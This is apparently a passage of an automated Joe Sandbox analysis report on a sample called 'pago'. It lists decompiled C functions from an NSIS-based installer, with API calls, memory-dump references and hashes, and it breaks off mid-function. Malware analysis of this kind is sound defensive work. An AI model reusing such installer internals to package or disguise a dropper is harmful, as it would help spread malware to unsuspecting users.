                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CharPrevlstrcatlstrlen
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\
                                                                  • API String ID: 2659869361-3936084776
                                                                  • Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
                                                                  • Instruction ID: 1a595bf39a0a3392b99637bd72bd9cca8666c17676e511d5d4bf90e80f698eee
                                                                  • Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
                                                                  • Instruction Fuzzy Hash: A8D0A731101930BAC2127B49EC08DDF62ACAE89340341443BF145B30A4CB7C5E5187FD
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 91%
                                                                  			E732D10E1(signed int _a8, intOrPtr* _a12, void* _a16, void* _a20) {
                                                                  				void* _v0;
                                                                  				void* _t27;
                                                                  				signed int _t29;
                                                                  				void* _t30;
                                                                  				void* _t34;
                                                                  				void* _t36;
                                                                  				void* _t38;
                                                                  				void* _t40;
                                                                  				void* _t48;
                                                                  				void* _t54;
                                                                  				void* _t63;
                                                                  				void* _t64;
                                                                  				signed int _t66;
                                                                  				void* _t67;
                                                                  				void* _t73;
                                                                  				void* _t74;
                                                                  				void* _t77;
                                                                  				void* _t80;
                                                                  				void _t81;
                                                                  				void _t82;
                                                                  				intOrPtr _t84;
                                                                  				void* _t86;
                                                                  				void* _t88;
                                                                  
                                                                  				 *0x732d506c = _a8;
                                                                  				 *0x732d5070 = _a16;
                                                                  				 *0x732d5074 = _a12;
                                                                  				_a12( *0x732d5048, E732D1651, _t73);
                                                                  				_t66 =  *0x732d506c +  *0x732d506c * 4 << 3;
                                                                  				_t27 = E732D12E3();
                                                                  				_v0 = _t27;
                                                                  				_t74 = _t27;
                                                                  				if( *_t27 == 0) {
                                                                  					L28:
                                                                  					return GlobalFree(_t27);
                                                                  				}
                                                                  				do {
                                                                  					_t29 =  *_t74 & 0x0000ffff;
                                                                  					_t67 = 2;
                                                                  					_t74 = _t74 + _t67;
                                                                  					_t88 = _t29 - 0x66;
                                                                  					if(_t88 > 0) {
                                                                  						_t30 = _t29 - 0x6c;
                                                                  						if(_t30 == 0) {
                                                                  							L23:
                                                                  							_t31 =  *0x732d5040;
                                                                  							if( *0x732d5040 == 0) {
                                                                  								goto L26;
                                                                  							}
                                                                  							E732D1603( *0x732d5074, _t31 + 4, _t66);
                                                                  							_t34 =  *0x732d5040;
                                                                  							_t86 = _t86 + 0xc;
                                                                  							 *0x732d5040 =  *_t34;
                                                                  							L25:
                                                                  							GlobalFree(_t34);
                                                                  							goto L26;
                                                                  						}
                                                                  						_t36 = _t30 - 4;
                                                                  						if(_t36 == 0) {
                                                                  							L13:
                                                                  							_t38 = ( *_t74 & 0x0000ffff) - 0x30;
                                                                  							_t74 = _t74 + _t67;
                                                                  							_t34 = E732D1312(E732D135A(_t38));
                                                                  							L14:
                                                                  							goto L25;
                                                                  						}
                                                                  						_t40 = _t36 - _t67;
                                                                  						if(_t40 == 0) {
                                                                  							L11:
                                                                  							_t80 = ( *_t74 & 0x0000ffff) - 0x30;
                                                                  							_t74 = _t74 + _t67;
                                                                  							_t34 = E732D1381(_t80, E732D12E3());
                                                                  							goto L14;
                                                                  						}
                                                                  						L8:
                                                                  						if(_t40 == 1) {
                                                                  							_t81 = GlobalAlloc(0x40, _t66 + 4);
                                                                  							_t10 = _t81 + 4; // 0x4
                                                                  							E732D1603(_t10,  *0x732d5074, _t66);
                                                                  							_t86 = _t86 + 0xc;
                                                                  							 *_t81 =  *0x732d5040;
                                                                  							 *0x732d5040 = _t81;
                                                                  						}
                                                                  						goto L26;
                                                                  					}
                                                                  					if(_t88 == 0) {
                                                                  						_t48 =  *0x732d5070;
                                                                  						_t77 =  *_t48;
                                                                  						 *_t48 =  *_t77;
                                                                  						_t49 = _v0;
                                                                  						_t84 =  *((intOrPtr*)(_v0 + 0xc));
                                                                  						if( *((short*)(_t77 + 4)) == 0x2691) {
                                                                  							E732D1603(_t49, _t77 + 8, 0x38);
                                                                  							_t86 = _t86 + 0xc;
                                                                  						}
                                                                  						 *((intOrPtr*)( *_a12 + 0xc)) = _t84;
                                                                  						GlobalFree(_t77);
                                                                  						goto L26;
                                                                  					}
                                                                  					_t54 = _t29 - 0x46;
                                                                  					if(_t54 == 0) {
                                                                  						_t82 = GlobalAlloc(0x40,  *0x732d506c +  *0x732d506c + 8);
                                                                  						 *((intOrPtr*)(_t82 + 4)) = 0x2691;
                                                                  						_t14 = _t82 + 8; // 0x8
                                                                  						E732D1603(_t14, _v0, 0x38);
                                                                  						_t86 = _t86 + 0xc;
                                                                  						 *_t82 =  *( *0x732d5070);
                                                                  						 *( *0x732d5070) = _t82;
                                                                  						goto L26;
                                                                  					}
                                                                  					_t63 = _t54 - 6;
                                                                  					if(_t63 == 0) {
                                                                  						goto L23;
                                                                  					}
                                                                  					_t64 = _t63 - 4;
                                                                  					if(_t64 == 0) {
                                                                  						 *_t74 =  *_t74 + 0xa;
                                                                  						goto L13;
                                                                  					}
                                                                  					_t40 = _t64 - _t67;
                                                                  					if(_t40 == 0) {
                                                                  						 *_t74 =  *_t74 + 0xa;
                                                                  						goto L11;
                                                                  					}
                                                                  					goto L8;
                                                                  					L26:
                                                                  				} while ( *_t74 != 0);
                                                                  				_t27 = _v0;
                                                                  				goto L28;
                                                                  			}


























                                                                  0x732d10eb
                                                                  0x732d1100
                                                                  0x732d1109
                                                                  0x732d110e
                                                                  0x732d1119
                                                                  0x732d111c
                                                                  0x732d1125
                                                                  0x732d1129
                                                                  0x732d112b
                                                                  0x732d12b0
                                                                  0x732d12ba
                                                                  0x732d12ba
                                                                  0x732d1132
                                                                  0x732d1132
                                                                  0x732d1137
                                                                  0x732d1138
                                                                  0x732d113a
                                                                  0x732d113d
                                                                  0x732d1256
                                                                  0x732d1259
                                                                  0x732d1271
                                                                  0x732d1271
                                                                  0x732d1278
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1285
                                                                  0x732d128a
                                                                  0x732d128f
                                                                  0x732d1294
                                                                  0x732d129a
                                                                  0x732d129b
                                                                  0x00000000
                                                                  0x732d129b
                                                                  0x732d125b
                                                                  0x732d125e
                                                                  0x732d11bc
                                                                  0x732d11bf
                                                                  0x732d11c2
                                                                  0x732d11cb
                                                                  0x732d11d0
                                                                  0x00000000
                                                                  0x732d11d1
                                                                  0x732d1264
                                                                  0x732d1266
                                                                  0x732d11a2
                                                                  0x732d11a5
                                                                  0x732d11a8
                                                                  0x732d11b1
                                                                  0x00000000
                                                                  0x732d11b1
                                                                  0x732d1164
                                                                  0x732d1165
                                                                  0x732d1177
                                                                  0x732d1180
                                                                  0x732d1184
                                                                  0x732d118e
                                                                  0x732d1191
                                                                  0x732d1193
                                                                  0x732d1193
                                                                  0x00000000
                                                                  0x732d1165
                                                                  0x732d1143
                                                                  0x732d1218
                                                                  0x732d121d
                                                                  0x732d1221
                                                                  0x732d1223
                                                                  0x732d122c
                                                                  0x732d122f
                                                                  0x732d1238
                                                                  0x732d123d
                                                                  0x732d123d
                                                                  0x732d1247
                                                                  0x732d124a
                                                                  0x00000000
                                                                  0x732d1250
                                                                  0x732d1149
                                                                  0x732d114c
                                                                  0x732d11e9
                                                                  0x732d11ed
                                                                  0x732d11f7
                                                                  0x732d11fb
                                                                  0x732d1205
                                                                  0x732d120a
                                                                  0x732d1211
                                                                  0x00000000
                                                                  0x732d1211
                                                                  0x732d1152
                                                                  0x732d1155
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d115b
                                                                  0x732d115e
                                                                  0x732d11b8
                                                                  0x00000000
                                                                  0x732d11b8
                                                                  0x732d1160
                                                                  0x732d1162
                                                                  0x732d119e
                                                                  0x00000000
                                                                  0x732d119e
                                                                  0x00000000
                                                                  0x732d12a1
                                                                  0x732d12a1
                                                                  0x732d12ab
                                                                  0x00000000

                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Global$Free$Alloc
                                                                  • String ID:
                                                                  • API String ID: 1780285237-0
                                                                  • Opcode ID: 51004ebed27153d04282694fcf52b6b17c71a15aff33725f6956b0b8f98487d4
                                                                  • Instruction ID: e3ff651e2166d3cb24df631df3c397d82184fe7a002078dc9789455898fd5784
                                                                  • Opcode Fuzzy Hash: 51004ebed27153d04282694fcf52b6b17c71a15aff33725f6956b0b8f98487d4
                                                                  • Instruction Fuzzy Hash: FD51C0B6A20212DFE780DF79D848B1577F8FB08702B248115E90ADBA90E7B5F990DB50
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 92%
                                                                  			E0040263E(void* __ebx, void* __edx, intOrPtr* __edi) {
                                                                  				signed int _t14;
                                                                  				int _t17;
                                                                  				void* _t24;
                                                                  				intOrPtr* _t29;
                                                                  				void* _t31;
                                                                  				signed int _t32;
                                                                  				void* _t35;
                                                                  				void* _t40;
                                                                  				signed int _t42;
                                                                  
                                                                  				_t29 = __edi;
                                                                  				_t24 = __ebx;
                                                                  				_t14 =  *(_t35 - 0x28);
                                                                  				_t40 = __edx - 0x38;
                                                                  				 *(_t35 - 0x10) = _t14;
                                                                  				_t27 = 0 | _t40 == 0x00000000;
                                                                  				_t32 = _t40 == 0;
                                                                  				if(_t14 == __ebx) {
                                                                  					if(__edx != 0x38) {
                                                                  						_t17 = lstrlenW(E00402DA6(0x11)) + _t16;
                                                                  					} else {
                                                                  						E00402DA6(0x21);
                                                                  						E0040655F("C:\Users\engineer\AppData\Local\Temp\nsaB9F5.tmp", "C:\Users\engineer\AppData\Local\Temp\nsaB9F5.tmp\System.dll", 0x400);
                                                                  						_t17 = lstrlenA("C:\Users\engineer\AppData\Local\Temp\nsaB9F5.tmp\System.dll");
                                                                  					}
                                                                  				} else {
                                                                  					E00402D84(1);
                                                                  					 *0x40adf0 = __ax;
                                                                  					 *((intOrPtr*)(__ebp - 0x44)) = __edx;
                                                                  				}
                                                                  				 *(_t35 + 8) = _t17;
                                                                  				if( *_t29 == _t24) {
                                                                  					L13:
                                                                  					 *((intOrPtr*)(_t35 - 4)) = 1;
                                                                  				} else {
                                                                  					_t31 = E0040649D(_t27, _t29);
                                                                  					if((_t32 |  *(_t35 - 0x10)) != 0 ||  *((intOrPtr*)(_t35 - 0x24)) == _t24 || E0040610E(_t31, _t31) >= 0) {
                                                                  						_t14 = E004060DF(_t31, "C:\Users\engineer\AppData\Local\Temp\nsaB9F5.tmp\System.dll",  *(_t35 + 8));
                                                                  						_t42 = _t14;
                                                                  						if(_t42 == 0) {
                                                                  							goto L13;
                                                                  						}
                                                                  					} else {
                                                                  						goto L13;
                                                                  					}
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t35 - 4));
                                                                  				return 0;
                                                                  			}












                                                                  0x0040263e
                                                                  0x0040263e
                                                                  0x0040263e
                                                                  0x00402643
                                                                  0x00402646
                                                                  0x00402649
                                                                  0x0040264e
                                                                  0x00402650
                                                                  0x00402670
                                                                  0x004026aa
                                                                  0x00402672
                                                                  0x00402674
                                                                  0x00402688
                                                                  0x00402695
                                                                  0x00402695
                                                                  0x00402652
                                                                  0x00402654
                                                                  0x00402659
                                                                  0x00402667
                                                                  0x0040266a
                                                                  0x004026af
                                                                  0x004026b2
                                                                  0x0040292e
                                                                  0x0040292e
                                                                  0x004026b8
                                                                  0x004026c1
                                                                  0x004026c3
                                                                  0x004026e2
                                                                  0x004015b4
                                                                  0x004015b6
                                                                  0x00000000
                                                                  0x004015bc
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004026c3
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll), ref: 00402695
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: lstrlen
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp$C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll
                                                                  • API String ID: 1659193697-268958441
                                                                  • Opcode ID: efbeaf1aded5b84db90701020331344885af5dfdc72af07c5090307d9f212baa
                                                                  • Instruction ID: edf8e5a6553ae7ef136857fb61bcac29e22bbc78049b19fa22ca3c34260198f3
                                                                  • Opcode Fuzzy Hash: efbeaf1aded5b84db90701020331344885af5dfdc72af07c5090307d9f212baa
                                                                  • Instruction Fuzzy Hash: 2611EB71A00215BBCB10BFB18E4AAAE7665AF40744F25443FE002B71C2EAFC8891565E
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00403019(intOrPtr _a4) {
                                                                  				long _t2;
                                                                  				struct HWND__* _t3;
                                                                  				struct HWND__* _t6;
                                                                  
                                                                  				if(_a4 == 0) {
                                                                  					if( *0x42aa20 == 0) {
                                                                  						_t2 = GetTickCount();
                                                                  						if(_t2 >  *0x434f0c) {
                                                                  							_t3 = CreateDialogParamW( *0x434f00, 0x6f, 0, E00402F93, 0);
                                                                  							 *0x42aa20 = _t3;
                                                                  							return ShowWindow(_t3, 5);
                                                                  						}
                                                                  						return _t2;
                                                                  					} else {
                                                                  						return E00406946(0);
                                                                  					}
                                                                  				} else {
                                                                  					_t6 =  *0x42aa20;
                                                                  					if(_t6 != 0) {
                                                                  						_t6 = DestroyWindow(_t6);
                                                                  					}
                                                                  					 *0x42aa20 = 0;
                                                                  					return _t6;
                                                                  				}
                                                                  			}






                                                                  0x00403020
                                                                  0x00403040
                                                                  0x0040304a
                                                                  0x00403056
                                                                  0x00403067
                                                                  0x00403070
                                                                  0x00000000
                                                                  0x00403075
                                                                  0x0040307c
                                                                  0x00403042
                                                                  0x00403049
                                                                  0x00403049
                                                                  0x00403022
                                                                  0x00403022
                                                                  0x00403029
                                                                  0x0040302c
                                                                  0x0040302c
                                                                  0x00403032
                                                                  0x00403039
                                                                  0x00403039

                                                                  APIs
                                                                  • DestroyWindow.USER32(?,00000000,004031F7,00000001,?,?,?,?,?,0040387D,?), ref: 0040302C
                                                                  • GetTickCount.KERNEL32 ref: 0040304A
                                                                  • CreateDialogParamW.USER32 ref: 00403067
                                                                  • ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040387D,?), ref: 00403075
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                                  • String ID:
                                                                  • API String ID: 2102729457-0
                                                                  • Opcode ID: a982ea5e0a4ecb993fc2e9b794e4afe077943b4b771bcbca33e5c7758572dd30
                                                                  • Instruction ID: 3364d2369d767f53e7c05e99e54cbc9c067443d5da9c9f227d7c3a258cba7bb7
                                                                  • Opcode Fuzzy Hash: a982ea5e0a4ecb993fc2e9b794e4afe077943b4b771bcbca33e5c7758572dd30
                                                                  • Instruction Fuzzy Hash: A9F08270702A20AFC2316F50FE4998B7F68FB44B56741447AF446B15ACCB380DA2CB9D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 53%
                                                                  			E00405F14(void* __eflags, intOrPtr _a4) {
                                                                  				int _t11;
                                                                  				signed char* _t12;
                                                                  				intOrPtr _t18;
                                                                  				intOrPtr* _t21;
                                                                  				signed int _t23;
                                                                  
                                                                  				E0040653D(0x42fa70, _a4);
                                                                  				_t21 = E00405EB7(0x42fa70);
                                                                  				if(_t21 != 0) {
                                                                  					E004067C4(_t21);
                                                                  					if(( *0x434f18 & 0x00000080) == 0) {
                                                                  						L5:
                                                                  						_t23 = _t21 - 0x42fa70 >> 1;
                                                                  						while(1) {
                                                                  							_t11 = lstrlenW(0x42fa70);
                                                                  							_push(0x42fa70);
                                                                  							if(_t11 <= _t23) {
                                                                  								break;
                                                                  							}
                                                                  							_t12 = E00406873();
                                                                  							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
                                                                  								E00405E58(0x42fa70);
                                                                  								continue;
                                                                  							} else {
                                                                  								goto L1;
                                                                  							}
                                                                  						}
                                                                  						E00405E0C();
                                                                  						return 0 | GetFileAttributesW(??) != 0xffffffff;
                                                                  					}
                                                                  					_t18 =  *_t21;
                                                                  					if(_t18 == 0 || _t18 == 0x5c) {
                                                                  						goto L1;
                                                                  					} else {
                                                                  						goto L5;
                                                                  					}
                                                                  				}
                                                                  				L1:
                                                                  				return 0;
                                                                  			}








                                                                  0x00405f20
                                                                  0x00405f2b
                                                                  0x00405f2f
                                                                  0x00405f36
                                                                  0x00405f42
                                                                  0x00405f52
                                                                  0x00405f54
                                                                  0x00405f6c
                                                                  0x00405f6d
                                                                  0x00405f74
                                                                  0x00405f75
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405f58
                                                                  0x00405f5f
                                                                  0x00405f67
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405f5f
                                                                  0x00405f77
                                                                  0x00000000
                                                                  0x00405f8b
                                                                  0x00405f44
                                                                  0x00405f4a
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405f4a
                                                                  0x00405f31
                                                                  0x00000000

                                                                  APIs
                                                                    • Part of subcall function 0040653D: lstrcpynW.KERNEL32(?,?,00000400,0040369D,00433F00,NSIS Error), ref: 0040654A
                                                                    • Part of subcall function 00405EB7: CharNextW.USER32(?,?,0042FA70,?,00405F2B,0042FA70,0042FA70,76F1FAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405EC5
                                                                    • Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405ECA
                                                                    • Part of subcall function 00405EB7: CharNextW.USER32(00000000), ref: 00405EE2
                                                                  • lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,76F1FAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405F6D
                                                                  • GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76F1FAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\), ref: 00405F7D
                                                                  Strings
                                                                  • C:\Users\user\AppData\Local\Temp\, xrefs: 00405F14
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                                  • String ID: C:\Users\user\AppData\Local\Temp\
                                                                  • API String ID: 3248276644-3936084776
                                                                  • Opcode ID: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
                                                                  • Instruction ID: e20fb510edeaf32ba19235dad054e15b0ffac27cf679254cac4fdbc394554759
                                                                  • Opcode Fuzzy Hash: 442e1b1d96b1c23b6c0207761c3788c7dd97485575ed4e88a223653099446a7a
                                                                  • Instruction Fuzzy Hash: E3F0F426119D6226DB22333A5C05EAF0554CE9276475A023BF895B12C5DB3C8A43D8AE
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 89%
                                                                  			E00405513(struct HWND__* _a4, int _a8, int _a12, long _a16) {
                                                                  				int _t15;
                                                                  				long _t16;
                                                                  
                                                                  				_t15 = _a8;
                                                                  				if(_t15 != 0x102) {
                                                                  					if(_t15 != 0x200) {
                                                                  						_t16 = _a16;
                                                                  						L7:
                                                                  						if(_t15 == 0x419 &&  *0x42d254 != _t16) {
                                                                  							_push(_t16);
                                                                  							_push(6);
                                                                  							 *0x42d254 = _t16;
                                                                  							E00404ED4();
                                                                  						}
                                                                  						L11:
                                                                  						return CallWindowProcW( *0x42d25c, _a4, _t15, _a12, _t16);
                                                                  					}
                                                                  					if(IsWindowVisible(_a4) == 0) {
                                                                  						L10:
                                                                  						_t16 = _a16;
                                                                  						goto L11;
                                                                  					}
                                                                  					_t16 = E00404E54(_a4, 1);
                                                                  					_t15 = 0x419;
                                                                  					goto L7;
                                                                  				}
                                                                  				if(_a12 != 0x20) {
                                                                  					goto L10;
                                                                  				}
                                                                  				E004044E5(0x413);
                                                                  				return 0;
                                                                  			}





                                                                  0x00405517
                                                                  0x00405521
                                                                  0x0040553d
                                                                  0x0040555f
                                                                  0x00405562
                                                                  0x00405568
                                                                  0x00405572
                                                                  0x00405573
                                                                  0x00405575
                                                                  0x0040557b
                                                                  0x0040557b
                                                                  0x00405585
                                                                  0x00000000
                                                                  0x00405593
                                                                  0x0040554a
                                                                  0x00405582
                                                                  0x00405582
                                                                  0x00000000
                                                                  0x00405582
                                                                  0x00405556
                                                                  0x00405558
                                                                  0x00000000
                                                                  0x00405558
                                                                  0x00405527
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040552e
                                                                  0x00000000

                                                                  APIs
                                                                  • IsWindowVisible.USER32(?), ref: 00405542
                                                                  • CallWindowProcW.USER32(?,?,?,?), ref: 00405593
                                                                    • Part of subcall function 004044E5: SendMessageW.USER32(000103AA,00000000,00000000,00000000), ref: 004044F7
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Window$CallMessageProcSendVisible
                                                                  • String ID:
                                                                  • API String ID: 3748168415-3916222277
                                                                  • Opcode ID: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
                                                                  • Instruction ID: 904a7c61355239921aaa7855b64c86422fca6e8886f64d9e6fcbc6a993ea73ec
                                                                  • Opcode Fuzzy Hash: 0dea828d0dd479423763887dac230e90f27d8b8ae518018479b0ad82d517bb95
                                                                  • Instruction Fuzzy Hash: F3017CB1100608BFDF209F11DD80AAB3B27EB84754F50453AFA01762D5D77A8E92DA69
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 90%
                                                                  			E0040640B(void* __ecx, void* __eflags, intOrPtr _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
                                                                  				int _v8;
                                                                  				long _t21;
                                                                  				long _t24;
                                                                  				char* _t30;
                                                                  
                                                                  				asm("sbb eax, eax");
                                                                  				_v8 = 0x800;
                                                                  				_t21 = E004063AA(__eflags, _a4, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
                                                                  				_t30 = _a16;
                                                                  				if(_t21 != 0) {
                                                                  					L4:
                                                                  					 *_t30 =  *_t30 & 0x00000000;
                                                                  				} else {
                                                                  					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
                                                                  					_t21 = RegCloseKey(_a20);
                                                                  					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
                                                                  					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
                                                                  						goto L4;
                                                                  					}
                                                                  				}
                                                                  				return _t21;
                                                                  			}







                                                                  0x00406419
                                                                  0x0040641b
                                                                  0x00406433
                                                                  0x00406438
                                                                  0x0040643d
                                                                  0x0040647b
                                                                  0x0040647b
